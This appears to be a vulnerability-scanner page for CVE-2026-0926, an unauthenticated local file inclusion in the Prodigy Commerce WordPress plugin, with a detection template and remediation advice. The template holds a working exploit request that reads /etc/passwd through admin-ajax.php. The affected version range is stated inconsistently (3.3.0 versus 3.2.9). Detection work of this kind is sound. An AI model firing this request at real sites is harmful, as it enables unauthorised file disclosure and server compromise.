Prodigy Commerce <= 3.3.0 - Local File Inclusion
CVE-2026-0926
Verified
Description
Prodigy Commerce WordPress plugin <= 3.2.9 contains a local file inclusion caused by improper sanitization of 'parameters[template_name]' parameter, letting unauthenticated attackers include and execute arbitrary files remotely.
Severity
Critical
CVSS Score
9.8
Exploit Probability
20%
Published Date
March 13, 2026
Template Author
shivam kamboj
CVE-2026-0926.yaml
id: CVE-2026-0926
info:
name: Prodigy Commerce <= 3.3.0 - Local File Inclusion
author: Shivam Kamboj
severity: critical
description: |
Prodigy Commerce WordPress plugin <= 3.2.9 contains a local file inclusion caused by improper sanitization of 'parameters[template_name]' parameter, letting unauthenticated attackers include and execute arbitrary files remotely.
impact: |
Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data, potentially leading to full server compromise.
remediation: |
Update to the latest version beyond 3.2.9.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/prodigy-commerce/prodigy-commerce-329-unauthenticated-local-file-inclusion-via-parameterstemplate-name
- https://nvd.nist.gov/vuln/detail/CVE-2026-0926
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-0926
epss-score: 0.20273
epss-percentile: 0.95602
cwe-id: CWE-98
metadata:
max-request: 2
verified: true
tags: cve,cve2026,wordpress,wp,wp-plugin,lfi,prodigy-commerce,unauth
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
extractors:
- type: regex
name: nonce
part: body
group: 1
regex:
- 'var settings\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=prodigy-render-my-account-widget&nonce={{nonce}}¶meters[template_name]=etc/passwd¶meters[default_path]=/
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a0046304402206e9ba920d31b015a461460716e46fbf15156afc48cbee623463a60232014f89a0220510c95e53487a69701d8d6b5fa91aa21a90719ca8453fdf11496073deba56b49:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-0926
CWE ID:
cwe-98
Remediation Steps
Update to the latest version beyond 3.2.9.